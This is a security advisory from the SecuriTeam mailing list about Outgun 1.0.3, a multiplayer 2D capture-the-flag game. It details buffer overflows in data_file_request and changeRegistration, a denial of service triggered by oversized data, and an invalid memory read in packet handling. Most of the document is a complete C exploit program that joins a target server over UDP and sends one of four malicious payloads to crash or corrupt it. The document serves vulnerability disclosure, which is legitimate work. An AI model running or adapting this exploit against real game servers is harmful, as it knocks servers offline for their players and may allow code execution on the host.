[NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
------------------------------------------------------------------------


SUMMARY

" <http://koti.mbnet.fi/outgun/> Outgun is a simple multiplayer capture
the flag game in 2D top-view, to be played on a network"

Improper handling of sockets allows attackers to execute arbitrary code,
change players information or cause exceptions in Outgun.

DETAILS

Vulnerable Systems:
* Outgun 1.0.3 bot 2 and prior

data_file_request command buffer-overflow:
The game supports the downloading of map files directly from the server in
which the clients want to play.
The request for the downloading of the map is composed by the command
data_file_request and two text strings for the type and name of the
requested file.
The buffers in which the server stores these two strings have a size of 64
and 256 bytes and the function readString doesn't check the length of the
destination buffer during the copying.

From src/servnet.cpp:
void ServerNetworking::incoming_client_data(int id, char *data, int
length) {
...
else if (code == data_file_request) {
char ftype[64];
char fname[256];
readString(msg, count, ftype);
readString(msg, count, fname);

Exception with big data:
The leetnet functions used in the game for handling the packets
automatically raise an exception (throw) if a data bigger than 512
(DATA_BUF_SIZE) bytes is received.
The effect is the immediate interruption of the game.

From src/leetnet/rudp.cpp:
class data_ci : public data_c {
public:

//allocated length, used length
int alen, ulen;

//data buffer
char buf[DATA_BUF_SIZE];

//extend buffer to fit additional len
void extend(int len) {
if (len + ulen > DATA_BUF_SIZE) {
throw 66677;
}
...

Invalid memory access in messages handling:
The leetnet functions support a maximum amount of 64 messages in each
incoming packet but no checks are made for avoiding the reading of the
unallocated memory after the packet if an attacker uses wrong message
sizes.

From src/leetnet/rudp.cpp:
virtual char* process_incoming_packet(int *size, bool *special) {
...
NLulong msgid;
NLshort msgsize;
for (i=0; i<nreliable; i++) { // read all reliable msgs
readLong(udp_data, count, msgid); //id
readShort(udp_data, count, msgsize); //size

//if (debug) printf("(%i,%i)", msgid, msgsize);

// station will process the incoming reliable message
process_incoming_message(msgid, (udp_data + count), msgsize);

//advance count since we didn't "readBlock"
count += msgsize;

//p->add_reliable(msgid, (udp_data + count), msgsize); //data
}
...

Buffer-overflow on a global variable in changeRegistration:
changeRegistration is the function for handling the changing of the
registration informations of the clients.
This function uses strcpy for copying the client's token in a buffer of
64 bytes located in the global array of the clients informations.
During my tests (limited by the problem described in bug B) was not
possible to exploit this bug for crashing the server but I was only
able to modify some of the informations of the other players in the
server.

From src/servernet.cpp:
bool Server::changeRegistration(int id, const string& token) {
const int intoken = atoi(token.c_str());
if (intoken == client[id].intoken)
return false;

// v0.4.9 FIX : IF HAD previous token have/valid, then FLUSH his stats
network.client_report_status(id);

strcpy(client[id].token, token.c_str());
...

Exploit:
winerr.h can be found at:
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/param.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define stristr strcasestr
#define ONESEC 1
#endif

#define VER "0.1"
#define PORT 25000
#define BUFFSZ 4096
#define BOFSZ 400 // for exploiting ftype
#define DATA_BUF_SIZE 512 // if (len + ulen > DATA_BUF_SIZE)
throw 66677;
#define CHREGSZ 510 // not exploitable, it's here only
for testing

#define GET32(x) ntohl(*(uint32_t *)(x))

#define PUT8(x,y) *x++ = y;
#define PUT16(x,y) *(uint16_t *)x = htons(y); \
x += 2;
#define PUT32(x,y) *(uint32_t *)x = htonl(y); \
x += 4;
#define PUTSTR(x,y) x += mycpy(x, y);
#define PUTMEM(x,y,z) memcpy(x, y, z); \
x += z;

#define GAME_STRING "Outgun"
#define GAME_PROTOCOL "1.0"
#define LEETNET_VERSION 1
#define MAX_INCOMING_MESSAGES 64

void delimit(u_char *data);
int mycpy(u_char *dst, u_char *src);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err);
int create_rand_string(u_char *data, int len, u_int *seed);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);

struct sockaddr_in peer;

enum Network_data_code {
data_name_update,
data_text_message,
data_first_packet,
data_frags_update,
data_flag_update,
data_rocket_fire,
data_old_rocket_visible,
data_rocket_delete,
data_power_collision,
data_score_update,
data_sound,
data_pup_visible,
data_pup_picked,
data_pup_timer,
data_weapon_change,
data_map_change,
data_world_reset,
data_gameover_show,
data_start_game,
data_deathbringer,
data_file_request,
data_file_download,
data_file_ack,
data_registration_token,
data_registration_response,
data_tournament_participation,
data_crap_update,
data_map_time,
data_fire_on,
data_fire_off,
data_suicide,
data_drop_flag,
data_stop_drop_flag,
data_change_team_on,
data_change_team_off,
data_map_exit_on,
data_map_exit_off,
data_client_ready,
data_map_list,
data_map_votes_update,
data_map_vote,
data_stats,
data_team_stats,
data_capture,
data_kill,
data_flag_take,
data_flag_return,
data_flag_drop,
data_players_present,
data_new_player,
data_spawn,
data_movements_shots,
data_team_movements_shots,
data_fav_colors,
data_name_authorization_request,
data_server_settings,
data_reset_map_list,
data_stats_ready,
data_player_left,
data_team_change,
data_5_min_left,
data_1_min_left,
data_30_s_left,
data_time_out,
data_extra_time_out,
data_normal_time_out,
data_too_much_talk,
data_mute_notification,
data_tournament_update_failed,
data_player_mute,
data_player_kick,
data_disconnecting,
data_idlekick_warning,
data_map_change_info,
data_broken_map,
data_reserved_range_first, // reserve some codes for extensions that
are otherwise protocol compatible
data_reserved_range_last = data_reserved_range_first + 20, // make
sure you don't use more!
data_return_to_reserved_range_start_hack = data_reserved_range_first -
1,
data_current_map
// insert extensions here
};

int main(int argc, char *argv[]) {
int sd,
attack,
len;
u_int seed,
pckid,
smsgid;
u_short port = PORT;
u_char buff[BUFFSZ],
bof[DATA_BUF_SIZE + 1],
*p,
*b;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
"Outgun <= 1.0.3 (bot 2) multiple vulnerabilities " VER "\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attacks:\n"
" 1 = data_file_request command buffer-overflow\n"
" 2 = big data exception (throw 66677)\n"
" 3 = invalid memory access in messages handling\n"
" 4 = changeRegistration, strcpy() on a global var of 64
bytes\n"
"\n", argv[0], port);
exit(1);
}

attack = atoi(argv[1]);

if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

seed = time(NULL);

printf("- request info:\n");
p = buff;
PUT32(p, 0); // packid
PUT32(p, 200); // smsgid = 200
PUT16(p, seed); // clientside gamespy entry
(merged here)

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
close(sd);
printf(" %s\n", buff + 10);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

printf("- join server\n");
p = buff;
PUT32(p, 0); // packid
PUT32(p, 1); // smsgid = hello
PUT32(p, LEETNET_VERSION); // LEETNET_VERSION

b = p; p += 4;
PUTSTR(p, GAME_STRING);
PUTSTR(p, GAME_PROTOCOL);
create_rand_string(bof, 32, &seed);
PUTSTR(p, bof);
PUTSTR(p, ""); // m_serverPassword (not
implemented in this PoC)
PUTSTR(p, ""); // m_playerPassword (not
implemented in this PoC)
PUT32(b, (p - b) - 4);

len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);

pckid = GET32(buff);
smsgid = GET32(buff + 4);
if(!pckid && (smsgid == 201)) {
printf("\nError: server is full\n\n");
exit(1);
}

/*
peer.sin_port = *(uint16_t *)(buff + 10);
len = send_recv(sd, "", 0, NULL, 0, 0);
peer.sin_port = htons(port);
*/

// NLulong packet_id
// NLulong acked packet (latest received
by remote)
// NLbyte number of reliable messages
// for each reliable message:
// NLulong message id
// NLshort message size
// NLbyte[message size] the reliable message data
// (FIX: NLshort unreliable data size ---
inferido do packet size!!!)
// NLbyte[unreliable data size] all the unreliable data glued
in a big chunk

printf("- send malicious data\n");
p = buff;
PUT32(p, 1); // packet_id
PUT32(p, pckid); // acked packet
if(attack == 3) {
PUT8(p, MAX_INCOMING_MESSAGES); // number of messages
} else {
PUT8(p, 1); // number of messages
}

PUT32(p, 1); // first message (message id)
b = p; p += 2; // message size

if(attack == 1) {
PUT8(p, data_file_request);
memset(bof, 'a', BOFSZ);
bof[BOFSZ] = 0;
PUTSTR(p, bof); // ftype
PUTSTR(p, "fname"); // fname

} else if(attack == 2) {
PUT8(p, data_name_update); // any command is the same
memset(p, 0xff, DATA_BUF_SIZE);
p += DATA_BUF_SIZE;

} else if(attack == 3) {
PUT8(p, data_name_update); // any command is the same

} else if(attack == 4) {
PUT8(p, data_registration_token);
memset(bof, 'z', CHREGSZ);
bof[CHREGSZ] = 0;
PUTSTR(p, bof);
}

if(attack == 3) {
printf("- note: if the server doesn't crash, retry again\n");
PUT16(b, -1);
} else {
PUT16(b, (p - b) - 2);
}

len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);

close(sd);

printf("- check server:\n");
p = buff;
PUT32(p, 0);
PUT32(p, 200);
PUT16(p, seed);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(send_recv(sd, buff, p - buff, buff, sizeof(buff), 0) < 0 ) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server doesn't seem vulnerable\n\n");
}
close(sd);
return(0);
}

void delimit(u_char *data) {
while(*data && (*data != '\n') && (*data != '\r')) data++;
*data = 0;
}

int mycpy(u_char *dst, u_char *src) {
u_char *p;

for(p = dst; *src; src++, p++) {
*p = *src;
}
*p++ = 0;
return(p - dst);
}

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err) {
int retry,
len;

if(in && !out) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
return(0);

} else if(in) {
for(retry = 3; retry; retry--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(!timeout(sd, 1)) break;
}

if(!retry) {
if(!err) return(-1);
fputs("\nError: socket timeout, no reply received\n\n",
stdout);
exit(1);
}

} else {
if(timeout(sd, 3) < 0) return(-1);
}

len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
return(len);
}

int create_rand_string(u_char *data, int len, u_int *seed) {
u_int rnd;
u_char *p;
const static u_char table[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";

rnd = *seed;
p = data;

len = rnd % len;
if(len < 3) len = 3;

while(--len) {
rnd = (rnd * 0x343FD) + 0x269EC3;
rnd >>= 3;
*p++ = table[rnd % (sizeof(table) - 1)];
}
*p++ = 0;

*seed = rnd;
return(p - data);
}

int timeout(int sock, int sec) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = sec;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)(hp->h_addr);
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/outgunx-adv.txt>
http://aluigi.altervista.org/adv/outgunx-adv.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] Multiple Vulnerabilities in Citadel/UX
    ... could allow complete control over a vulnerable server. ... Citadel server as can be seen by this simplistic code snippet: ... configuration buffers, leading to the possibility of carrying out a buffer ... int connect_to_host; ...
    (Securiteam)
  • [UNIX] Multiple up-imapproxy DoS Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... connections open after client has logged out, ... allows attacker to cause the server to crash by sending them when they ... extern void HandleRequest(int); ...
    (Securiteam)
  • [NT] Stronghold DoS
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... In the packet used for joining the server is locatd the client's nickname ... unsigned char *gssdkcr( ... void show_info(u_char *data, int len); ...
    (Securiteam)
  • [UNIX] Conquest Client Buffer Overflow
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Conquest Client Buffer Overflow ... SP_CLIENTSTAT is a type of packet used by the server for sending some ...
    (Securiteam)
  • [NT] BFCommand and Control, Battlefield 1942 and BFVietnam Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... BFCommand & Control Server Manager is ... void proxy(int sock, u_char *buff, int size); ...
    (Securiteam)